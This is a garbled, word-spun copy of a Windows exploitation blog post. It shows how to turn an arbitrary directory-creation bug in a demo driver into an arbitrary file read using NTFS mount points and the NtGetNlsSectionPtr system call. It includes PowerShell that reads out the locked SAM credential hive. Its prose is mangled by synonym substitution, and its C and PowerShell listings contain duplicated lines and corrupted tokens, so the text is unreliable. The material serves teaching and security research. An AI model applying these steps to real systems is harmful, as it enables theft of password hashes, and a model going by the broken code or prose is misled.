Posted yesteryear James Forshaw,
For the yesteryear span of months I’ve been presenting my “Introduction to Windows Logical Privilege Escalation Workshop” at a few conferences. The restriction of a 2 hr slot fails to produce the theme jurist as well as some interesting tips as well as tricks I would similar to acquaint receive got to live on cutting out. So equally the likelihood of a total preparation course of written report whatsoever fourth dimension presently is pretty low, I stance I’d pose together an irregular serial of spider web log posts which exceptional small, self contained exploitation tricks which yous tin forcefulness out pose to usage if yous uncovering similar safety vulnerabilities inward Windows.
In this shipping service I’m going to give a technique to exceed away from an arbitrary directory creation vulnerability to arbitrary file read. Arbitrary management creation vulnerabilities produce be - for example, here’s ane that was inward the Linux subsystem - but it’s non ever obvious how you’d exploit such a põrnikas inward contrast to arbitrary file creation where a DLL is dropped somewhere. You could abuse DLL Redirection support where yous create a directory calling program.exe.local to produce DLL planting but that’s non ever reliable equally you’ll only live on able to redirect DLLs non inward the same directory (such equally System32) as well as only ones which would unremarkably exceed away via Side-by-Side DLL loading.
For this spider web log we’ll usage my representative driver from the Workshop which already contains a vulnerable directory creation bug, as well as we’ll write a Powershell script to exploit it using my NtObjectManager module. The technique I’m going to line isn’t a vulnerability, but it’s something yous tin forcefulness out usage if yous receive got a carve upward directory creation bug.
Quick Background on the Vulnerability Class
When dealing alongside files from the Win32 API you’ve got 2 functions, CreateFile as well as CreateDirectory. It would brand feel that there’s a separation betwixt the 2 operations. However at the Native API degree there’s only ZwCreateFile, the way the nitty-gritty separates files as well as directories is yesteryear passing either FILE_DIRECTORY_FILE or FILE_NON_DIRECTORY_FILE to the CreateOptions parameter when calling ZwCreateFile. Why the organisation telephone phone is for creating a file as well as yet the flags are named equally if Directories are the principal file type I’ve no idea.
A real uncomplicated vulnerable representative yous mightiness come across inward a nitty-gritty driver looks similar the following:
NTSTATUS KernelCreateDirectory(PHANDLE Handle,
PUNICODE_STRING Path) {
IO_STATUS_BLOCK io_status = { 0 };
OBJECT_ATTRIBUTES obj_attr = { 0 };
InitializeObjectAttributes(&obj_attr, Path,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE);
return ZwCreateFile(Handle, MAXIMUM_ALLOWED,
IO_STATUS_BLOCK io_status = { 0 };
OBJECT_ATTRIBUTES obj_attr = { 0 };
InitializeObjectAttributes(&obj_attr, Path,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE);
return ZwCreateFile(Handle, MAXIMUM_ALLOWED,
&obj_attr, &io_status,
NULL, FILE_ATTRIBUTE_NORMAL,
NULL, FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ | FILE_SHARE_DELETE,
FILE_OPEN_IF, FILE_DIRECTORY_FILE, NULL, 0);
}
FILE_OPEN_IF, FILE_DIRECTORY_FILE, NULL, 0);
}
There’s iii of import things to greenback most this code that determines whether it’s a vulnerable directory creation vulnerability. Firstly it’s passing FILE_DIRECTORY_FILE to CreateOptions which agency it’s going to create a directory. Second it’s passing equally the Disposition parameter FILE_OPEN_IF. This agency the directory volition live on created if it doesn’t exist, or opened if it does. And thirdly, as well as peradventure most importantly, the driver is calling a Zw function, which agency that the telephone phone to create the directory volition default to running alongside nitty-gritty permissions which disables all access checks. The way to guard against this would live on to exceed the OBJ_FORCE_ACCESS_CHECK attribute flag inward the OBJECT_ATTRIBUTES, even thus nosotros tin forcefulness out come across alongside the flags passed to InitializeObjectAttributes the flag is non beingness laid inward this case.
Just from this snippet of code nosotros don’t know where the goal path is coming from, it could live on from the user or it could live on fixed. As long equally this code is running inward the context of the electrical flow procedure (or is impersonating your user account) it doesn’t genuinely matter. Why is running inward the electrical flow user’s context thus important? It ensures that when the directory is created the possessor of that resources is the electrical flow user which agency yous tin forcefulness out modify the Security Descriptor to give yous total access to the directory. In many cases fifty-fifty this isn’t necessary equally many of the organisation directories receive got a CREATOR OWNER access command entry which ensures that the possessor gets total access immediately.
Creating an Arbitrary Directory
If yous wish to follow along you’ll involve to setup a Windows 10 VM (doesn’t affair if it’s 32 or 64 bit) as well as follow the details inward setup.txt from the zip file containing my Workshop driver. Then you’ll involve to install the NtObjectManager Powershell Module. It’s available on the Powershell Gallery, which is an online module repository thus follow the details there.
Assuming that’s all done, let’s larn to work. First let’s await how nosotros tin forcefulness out telephone phone the vulnerable code inward the driver. The driver exposes a Device Object to the user alongside the refer \Device\WorkshopDriver (we tin forcefulness out come across the setup inward the source code). All “vulnerabilities” are thus exercised yesteryear sending Device IO Control requests to the device object. The code for the IO Control treatment is inward device_control.c as well as we’re specifically interested inward the dispatch. The code ControlCreateDir is the ane we’re looking for, it takes the input information from the user as well as uses that equally an unchecked UNICODE_STRING to exceed to the code to create the directory. If nosotros await upward the code to create the IOCTL number nosotros uncovering ControlCreateDir is 2, thus let’s usage the next PS code to create an arbitrary directory.
Import-Module NtObjectManager
# Get an IOCTL for the workshop driver.
function Get-DriverIoCtl {
Param([int]$ControlCode)
[NtApiDotNet.NtIoControlCode]::new("Unknown",`
0x800 -bor $ControlCode, "Buffered", "Any")
}
function New-Directory {
Param([string]$Filename)
# Open the device driver.
Use-NtObject($file = Get-NtFile \Device\WorkshopDriver) {
# Get IOCTL for ControlCreateDir (2)
$ioctl = Get-DriverIoCtl -ControlCode 2
# Convert DOS filename to NT
$nt_filename = [NtApiDotNet.NtFileUtils]::DosFileNameToNt($Filename)
$bytes = [Text.Encoding]::Unicode.GetBytes($nt_filename)
$file.DeviceIoControl($ioctl, $bytes, 0) | Out-Null
}
}
# Get an IOCTL for the workshop driver.
function Get-DriverIoCtl {
Param([int]$ControlCode)
[NtApiDotNet.NtIoControlCode]::new("Unknown",`
0x800 -bor $ControlCode, "Buffered", "Any")
}
function New-Directory {
Param([string]$Filename)
# Open the device driver.
Use-NtObject($file = Get-NtFile \Device\WorkshopDriver) {
# Get IOCTL for ControlCreateDir (2)
$ioctl = Get-DriverIoCtl -ControlCode 2
# Convert DOS filename to NT
$nt_filename = [NtApiDotNet.NtFileUtils]::DosFileNameToNt($Filename)
$bytes = [Text.Encoding]::Unicode.GetBytes($nt_filename)
$file.DeviceIoControl($ioctl, $bytes, 0) | Out-Null
}
}
The New-Directory constituent outset opens the device object, converts the path to a native NT format equally an array of bytes as well as calls the DeviceIoControl constituent on the device. We could but exceed an integer value for command code but the NT API libraries I wrote receive got an NtIoControlCode type to pack upward the values for you. Let’s travail it as well as come across if it works to create the directory c:\windows\abc.
It works as well as we’ve successfully created the arbitrary directory. Just to depository fiscal establishment check nosotros usage Get-Acl to larn the Security Descriptor of the directory as well as nosotros tin forcefulness out come across that the possessor is the ‘user’ occupation organisation human relationship which agency nosotros tin forcefulness out larn total access to the directory.
Now the work is what to produce alongside this ability? There’s no uncertainty some organisation service which mightiness await upward inward a listing of directories for an executable to run or a configuration file to parse. But it’d live on overnice non to rely on something similar that. As the championship suggested instead we’ll convert this into an arbitrary file read, how mightiness produce nosotros exceed away most doing that?
Mount Point Abuse
If you’ve watched my beak on Abusing Windows Symbolic Links you’ll know how NTFS mountain points (or sometimes Junctions) work. The $REPARSE_POINT NTFS attribute is stored alongside the Directory which the NTFS driver reads when opening a directory. The attribute contains an option native NT object manager path to the goal of the symbolic link which is passed dorsum to the IO manager to proceed processing. This allows the Mount Point to piece of work betwixt dissimilar volumes, but it does receive got ane interesting consequence. Specifically the path doesn’t receive got to genuinely to bespeak to some other directory, what if nosotros give it a path to a file?
If yous usage the Win32 APIs it volition neglect as well as if yous usage the NT apis straight you’ll uncovering yous cease upward inward a weird paradox. If yous travail as well as opened upward the mountain bespeak equally a file the mistake volition nation it’s a directory, as well as if yous instead travail to opened upward equally a directory it volition tell yous it’s genuinely a file. Turns out if yous don’t specify either FILE_DIRECTORY_FILE or FILE_NON_DIRECTORY_FILE thus the NTFS driver volition exceed its checks as well as the mountain bespeak tin forcefulness out genuinely redirect to a file.
Perhaps nosotros tin forcefulness out uncovering some organisation service which volition opened upward our file without whatsoever of these flags (if yous exceed FILE_FLAG_BACKUP_SEMANTICS to CreateFile this volition also withdraw all flags) as well as ideally larn the service to read as well as provide the file data?
National Language Support
Windows supports many dissimilar languages, as well as inward fellowship to back upward non-unicode encodings soundless supports Code Pages. Influenza A virus subtype H5N1 lot is exposed through the National Language Support (NLS) libraries, as well as you’d assume that the libraries run only inward user way but if yous await at the nitty-gritty you’ll uncovering a few organisation calls hither as well as at that spot to back upward NLS. The ane of most involvement to this spider web log is the NtGetNlsSectionPtr organisation call. This organisation telephone phone maps code page files from the System32 directory into a process’ retentiveness where the libraries tin forcefulness out access the code page data. It’s non only clear why it needs to live on inward nitty-gritty mode, peradventure it’s but to brand the sections shareable betwixt all processes on the same machine. Let’s await at a simplified version of the code, it’s non a real big function:
NTSTATUS NtGetNlsSectionPtr(DWORD NlsType,
DWORD CodePage,
PVOID *SectionPointer,
PVOID *SectionPointer,
PULONG SectionSize) {
UNICODE_STRING section_name;
OBJECT_ATTRIBUTES section_obj_attr;
HANDLE section_handle;
RtlpInitNlsSectionName(NlsType, CodePage, §ion_name);
InitializeObjectAttributes(§ion_obj_attr,
UNICODE_STRING section_name;
OBJECT_ATTRIBUTES section_obj_attr;
HANDLE section_handle;
RtlpInitNlsSectionName(NlsType, CodePage, §ion_name);
InitializeObjectAttributes(§ion_obj_attr,
§ion_name,
OBJ_KERNEL_HANDLE |
OBJ_KERNEL_HANDLE |
OBJ_OPENIF |
OBJ_CASE_INSENSITIVE |
OBJ_PERMANENT);
// Open department nether \NLS directory.
if (!NT_SUCCESS(ZwOpenSection(§ion_handle,
// Open department nether \NLS directory.
if (!NT_SUCCESS(ZwOpenSection(§ion_handle,
SECTION_MAP_READ,
§ion_obj_attr))) {
// If no department thus opened upward the corresponding file as well as create section.
UNICODE_STRING file_name;
// If no department thus opened upward the corresponding file as well as create section.
UNICODE_STRING file_name;
OBJECT_ATTRIBUTES obj_attr;
HANDLE file_handle;
HANDLE file_handle;
RtlpInitNlsFileName(NlsType,
CodePage,
&file_name);
InitializeObjectAttributes(&obj_attr,
InitializeObjectAttributes(&obj_attr,
&file_name,
OBJ_KERNEL_HANDLE |
OBJ_KERNEL_HANDLE |
OBJ_CASE_INSENSITIVE);
ZwOpenFile(&file_handle, SYNCHRONIZE,
ZwOpenFile(&file_handle, SYNCHRONIZE,
&obj_attr, FILE_SHARE_READ, 0);
ZwCreateSection(§ion_handle, FILE_MAP_READ,
ZwCreateSection(§ion_handle, FILE_MAP_READ,
§ion_obj_attr, NULL,
PROTECT_READ_ONLY, MEM_COMMIT, file_handle);
ZwClose(file_handle);
}
// Map department into retentiveness as well as provide pointer.
NTSTATUS status = MmMapViewOfSection(
ZwClose(file_handle);
}
// Map department into retentiveness as well as provide pointer.
NTSTATUS status = MmMapViewOfSection(
section_handle,
SectionPointer,
SectionSize);
ZwClose(section_handle);
return status;
}
SectionPointer,
SectionSize);
ZwClose(section_handle);
return status;
}
The outset thing to greenback hither is it tries to opened upward a named department object nether the \NLS directory using a refer generated from the CodePage parameter. To larn an stance what that refer looks similar we’ll but listing that directory:
The named sections are of the shape NlsSectionCP<NUM> where NUM is the number of the code page to map. You’ll also notice there’s a department for a normalization information set. Which file gets mapped depends on the outset NlsType parameter, nosotros don’t tending most normalization for the moment. If the department object isn’t establish the code builds a file path to the code page file, opens it alongside ZwOpenFile as well as thus calls ZwCreateSection to create a read-only named department object. Finally the department is mapped into retentiveness as well as returned to the caller.
There’s 2 of import things to greenback here, outset the OBJ_FORCE_ACCESS_CHECK flag is non beingness laid for the opened upward call. This agency the telephone phone volition opened upward whatsoever file fifty-fifty if the caller doesn’t receive got access to it. And most importantly the finally parameter of ZwOpenFile is 0, this agency neither FILE_DIRECTORY_FILE or FILE_NON_DIRECTORY_FILE is beingness set. Not setting these flags volition resultant inward our desired condition, the opened upward telephone phone volition follow the mountain bespeak redirection to a file as well as non generate an error. What is the file path laid to? We tin forcefulness out but disassemble RtlpInitNlsFileName to uncovering out:
void RtlpInitNlsFileName(DWORD NlsType,
DWORD CodePage,
PUNICODE_STRING String) {
if (NlsType == NLS_CODEPAGE) {
RtlStringCchPrintfW(String,
if (NlsType == NLS_CODEPAGE) {
RtlStringCchPrintfW(String,
L"\\SystemRoot\\System32\\c_%.3d.nls", CodePage);
} else {
// Get normalization path from registry.
// NOTE most how this is arbitrary registry write to file.
}
}
} else {
// Get normalization path from registry.
// NOTE most how this is arbitrary registry write to file.
}
}
The file is of the shape c_<NUM>.nls nether the System32 directory. Note that it uses the special symbolic link \SystemRoot which points to the Windows directory using a device path format. This prevents this code from beingness abused yesteryear redirecting get letters as well as making it an actual vulnerability. Also greenback that if the normalization path is requested the information is read out from a machine registry key, thus if yous receive got an arbitrary registry value writing vulnerability yous mightiness live on able to exploit this organisation telephone phone to larn some other arbitrary read, but that’s for the interested reader to investigate.
I remember it’s clear at nowadays what nosotros receive got to do, create a directory inward System32 alongside the refer c_<NUM>.nls, laid its reparse information to bespeak to an arbitrary file thus usage the NLS organisation telephone phone to opened upward as well as map the file. Choosing a code page number is easy, 1337 is unused. But what file should nosotros read? Influenza A virus subtype H5N1 mutual file to read is the SAM registry hive which contains logon information for local users. However access to the SAM file is usually blocked equally it’s non sharable as well as fifty-fifty but opening for read access equally an administrator volition neglect alongside a sharing violation. There’s of course of written report a number of ways yous tin forcefulness out larn around this, yous tin forcefulness out usage the registry backup functions (but that needs admin rights) or nosotros tin forcefulness out line an one-time re-create of the SAM from a Volume Shadow Copy (which isn’t on yesteryear default on Windows 10). So peradventure let’s forget about… no hold off we’re inward luck.
File sharing on Windows files depends on the access beingness requested. For representative if the caller requests Read access but the file is non shared for read access thus it fails. However it’s possible to opened upward a file for sure non-content rights, such equally reading the safety descriptor or synchronizing on the file object, rights which are non considered when checking the existing file sharing settings. If yous await dorsum at the code for NtGetNlsSectionPtr you’ll notice the only access correct beingness requested for the file is SYNCHRONIZE as well as thus volition ever allow the file to live on opened fifty-fifty if locked alongside no sharing access.
But how tin forcefulness out that work? Doesn’t ZwCreateSection involve a readable file grip to produce the read-only file mapping. Yes as well as no. Windows file objects produce non genuinely tending whether a file is readable or writable. Access rights are associated alongside the grip created when the file is opened. When yous telephone phone ZwCreateSection from user-mode the telephone phone eventually tries to convert the grip to a pointer to the file object. For that to occur the caller must specify what access rights involve to live on on the grip for it to succeed, for a read-only mapping the nitty-gritty requests the grip has Read Data access. However but equally alongside access checking alongside files if the nitty-gritty calls ZwCreateSection access checking is disabled including when converting a file grip to the file object pointer. This results inward ZwCreateSection succeeding fifty-fifty though the file grip only has SYNCHRONIZE access. Which agency nosotros tin forcefulness out opened upward whatsoever file on the organisation regardless of it’s sharing way as well as that includes the SAM file.
So let’s pose the finally touches to this, nosotros create the directory \SystemRoot\System32\c_1337.nls as well as convert it to a mountain bespeak which redirects to \SystemRoot\System32\config\SAM. Then nosotros telephone phone NtGetNlsSectionPtr requesting code page 1337, which creates the department as well as returns us a pointer to it. Finally nosotros but re-create out the mapped file retentiveness into a novel file as well as we’re done.
$dir = "\SystemRoot\system32\c_1337.nls"
New-Directory $dir
$target_path = "\SystemRoot\system32\config\SAM"
Use-NtObject($file = Get-NtFile $dir `
New-Directory $dir
$target_path = "\SystemRoot\system32\config\SAM"
Use-NtObject($file = Get-NtFile $dir `
-Options OpenReparsePoint,DirectoryFile) {
$file.SetMountPoint($target_path, $target_path)
}
Use-NtObject($map =
$file.SetMountPoint($target_path, $target_path)
}
Use-NtObject($map =
[NtApiDotNet.NtLocale]::GetNlsSectionPtr("CodePage", 1337)) {
Use-NtObject($output = [IO.File]::OpenWrite("sam.bin")) {
$map.GetStream().CopyTo($output)
Write-Host "Copied file"
}
}
Use-NtObject($output = [IO.File]::OpenWrite("sam.bin")) {
$map.GetStream().CopyTo($output)
Write-Host "Copied file"
}
}
Loading the created file inward a hex editor shows nosotros did indeed pocket the SAM file.
For completeness we’ll create clean upward our mess. We tin forcefulness out but delete the directory yesteryear opening the directory file alongside the Delete On Close flag as well as thus closing the file (making sure to opened upward it equally a reparse bespeak otherwise you’ll travail as well as opened upward the SAM again). For the department equally the object was created inward our safety context (just similar the directory) as well as at that spot was no explicit safety descriptor thus nosotros tin forcefulness out opened upward it for DELETE access as well as telephone phone ZwMakeTemporaryObject to withdraw the permanent reference count laid yesteryear the original creator alongside the OBJ_PERMANENT flag.
Use-NtObject($sect = Get-NtSection \nls\NlsSectionCP1337 `
-Access Delete) {
# Delete permanent object.
$sect.MakeTemporary()
}
-Access Delete) {
# Delete permanent object.
$sect.MakeTemporary()
}
Wrap-Up
What I’ve described inward this spider web log shipping service is non a vulnerability, although surely the code doesn’t seem to follow best practice. It’s a organisation telephone phone which hasn’t changed since at to the lowest degree Windows vii thus if yous uncovering yourself alongside an arbitrary directory creation vulnerability yous should live on able to usage this play a joke on to read whatsoever file on the organisation regardless of whether it’s already opened upward or shared. I’ve pose the finally script on GITHUB at this link if yous wish the finally version to larn a ameliorate agreement of how it works.
It’s worth keeping a log of whatsoever odd behaviours when you’re contrary technology scientific discipline a production inward representative it becomes useful equally I did inward this case. Many times I’ve establish code which isn’t itself a vulnerability but receive got has some useful properties which allow yous to construct out exploitation chains.
Komentar
Posting Komentar